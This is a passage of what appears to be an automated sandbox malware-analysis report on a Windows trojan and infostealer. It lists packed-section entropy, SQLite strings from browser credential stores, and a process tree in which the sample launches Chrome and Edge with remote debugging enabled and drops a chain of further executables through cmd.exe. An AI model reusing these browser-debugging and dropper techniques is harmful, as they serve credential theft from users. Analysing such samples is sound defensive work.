Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CAC00	0_2_6C9CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C542B	0_2_6C9C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C545C	0_2_6C9C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965440	0_2_6C965440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990DD0	0_2_6C990DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B85F0	0_2_6C9B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97ED10	0_2_6C97ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C980512	0_2_6C980512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FD00	0_2_6C96FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975E90	0_2_6C975E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BE680	0_2_6C9BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4EA0	0_2_6C9B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95BEF0	0_2_6C95BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FEF0	0_2_6C96FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C76E3	0_2_6C9C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997E10	0_2_6C997E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5600	0_2_6C9A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B9E30	0_2_6C9B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979E50	0_2_6C979E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C993E50	0_2_6C993E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2E4E	0_2_6C9A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C974640	0_2_6C974640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C670	0_2_6C95C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C6E63	0_2_6C9C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A77A0	0_2_6C9A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986FF0	0_2_6C986FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95DFE0	0_2_6C95DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997710	0_2_6C997710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C969F00	0_2_6C969F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9860A0	0_2_6C9860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C50C7	0_2_6C9C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C0E0	0_2_6C97C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9958E0	0_2_6C9958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C967810	0_2_6C967810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B820	0_2_6C99B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4820	0_2_6C9A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C978850	0_2_6C978850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D850	0_2_6C97D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99F070	0_2_6C99F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995190	0_2_6C995190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2990	0_2_6C9B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D9B0	0_2_6C98D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C9A0	0_2_6C95C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97A940	0_2_6C97A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB970	0_2_6C9AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB170	0_2_6C9CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D960	0_2_6C96D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CBA90	0_2_6C9CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96CAB0	0_2_6C96CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2AB0	0_2_6C9C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9522A0	0_2_6C9522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984AA0	0_2_6C984AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C998AC0	0_2_6C998AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C971AF0	0_2_6C971AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99E2F0	0_2_6C99E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999A60	0_2_6C999A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F380	0_2_6C95F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C53C8	0_2_6C9C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D320	0_2_6C99D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955340	0_2_6C955340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C370	0_2_6C96C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0084E530	25_2_0084E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_008878BB	25_2_008878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00887049	25_2_00887049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00888860	25_2_00888860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_008831A8	25_2_008831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00844DE0	25_2_00844DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00882D10	25_2_00882D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00989680	25_2_00989680
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0088779B	25_2_0088779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00877F36	25_2_00877F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00844B30	25_2_00844B30

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C98CBE8 appears 134 times

Source: d6d730409e.exe.25.dr	Static PE information: No import functions for PE file found
Source: random[1].exe0.25.dr	Static PE information: No import functions for PE file found

Source: d6d730409e.exe.25.dr	Static PE information: Data appended to the last section found
Source: random[1].exe0.25.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2820802776.000000006CBD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: rdtlmipf ZLIB complexity 0.9946562976371951
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981533123297003
Source: random[1].exe.0.dr	Static PE information: Section: fydbnmjr ZLIB complexity 0.9948201025122174
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981533123297003
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: Section: fydbnmjr ZLIB complexity 0.9948201025122174
Source: skotes.exe.22.dr	Static PE information: Section: ZLIB complexity 0.9981533123297003
Source: skotes.exe.22.dr	Static PE information: Section: fydbnmjr ZLIB complexity 0.9948201025122174
Source: random[1].exe.25.dr	Static PE information: Section: dpzksbhx ZLIB complexity 0.9946443198633033
Source: f3f60a7f50.exe.25.dr	Static PE information: Section: dpzksbhx ZLIB complexity 0.9946443198633033
Source: random[1].exe0.25.dr	Static PE information: Section: ZLIB complexity 1.0005580357142858
Source: d6d730409e.exe.25.dr	Static PE information: Section: ZLIB complexity 1.0005580357142858

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@77/299@26/27

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\AD76Q6O1.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8516:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\12ea3d54-05a9-4c00-b05a-1b3e351d378c.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2819916389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2820674860.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2819916389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2820674860.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2819916389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2820674860.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2819916389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2820674860.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2819916389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2820674860.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2819916389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2819916389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2820674860.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2457125984.000000001D899000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2554187864.000000001D88D000.00000004.00000020.00020000.00000000.sdmp, ECAKKKKJDBKKFIEBKEHD.0.dr, DAECFIJDAAAKECBFCGHI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2819916389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2819916389.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2808099605.000000001D99F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsIJEGDBGDBF.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: f3f60a7f50.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2160,i,13596938817302941313,5679864875784056474,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2292,i,12221188568326329840,15947637541635957062,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6448 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6396 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7132 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7132 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIJEGDBGDBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIJEGDBGDBF.exe "C:\Users\user\DocumentsIJEGDBGDBF.exe"
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6856 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe "C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIJEGDBGDBF.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2160,i,13596938817302941313,5679864875784056474,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2292,i,12221188568326329840,15947637541635957062,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6448 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6396 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7132 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7132 --field-trial-handle=2560,i,9450311379047027983,9690926915239473463,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
